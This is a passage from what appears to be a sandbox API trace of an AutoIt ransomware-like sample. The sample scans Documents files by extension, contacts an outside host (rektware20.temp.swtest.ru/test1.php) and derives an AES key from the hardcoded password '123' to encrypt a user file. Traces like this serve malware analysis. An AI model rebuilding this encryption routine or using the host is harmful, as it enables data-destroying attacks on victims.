cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.962] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.962] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.962] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.962] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.962] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.962] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.962] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.962] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.962] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.962] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.962] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.962] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.962] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.962] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.962] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.962] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="EyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.962] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.962] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.962] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.962] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="If\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.962] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="f\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.963] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.963] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.968] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.968] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="if.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.968] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="f.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.968] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0073.968] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.968] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.969] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0073.969] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.969] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0073.969] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0073.969] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0073.969] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0073.969] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0073.969] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e98, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e98, lpdwBufferLength=0x130ee1c) returned 1 [0073.969] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0073.969] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0073.969] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0073.970] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0073.970] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0073.970] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0073.970] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0073.971] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0073.971] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0073.971] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0073.971] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0073.971] CloseHandle (hObject=0x0) returned 0 [0073.971] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.971] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d170 [0073.972] FindClose (in: hFindFile=0x164d170 | out: hFindFile=0x164d170) returned 1 [0073.972] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.972] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.972] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.972] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.972] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0073.972] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.972] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0073.973] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.973] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.973] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0073.973] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.973] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.973] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.973] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.973] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.973] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0073.973] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0073.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e330, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0073.974] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0073.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0073.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e030, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0073.974] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0073.974] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa918) returned 1 [0073.975] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.975] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.975] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0073.975] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.975] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.975] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.975] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.975] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.975] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.975] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.975] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.975] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.975] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.975] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.975] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.975] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0073.975] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.976] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.976] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.976] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.976] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.976] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.976] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.976] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.976] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.976] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.976] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.976] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.976] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.976] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.976] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.976] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.976] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.976] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.976] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0073.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621450, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0073.977] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0073.977] CryptCreateHash (in: hProv=0x17aa918, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0073.977] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.977] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.977] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.977] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0073.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0073.977] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0073.977] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0073.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629480, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0073.978] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.978] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.978] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.978] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0073.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621720, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0073.978] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0073.978] CryptHashData (hHash=0x164c670, pbData=0x1629420, dwDataLen=0x3, dwFlags=0x1) returned 1 [0073.981] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.981] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.981] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.981] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.981] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.981] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.981] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.981] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0073.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621648, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0073.982] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0073.982] CryptDeriveKey (in: hProv=0x17aa918, Algid=0x6610, hBaseData=0x164c670, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c7b0) returned 1 [0073.982] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.982] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.982] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.982] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.982] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.982] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.982] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 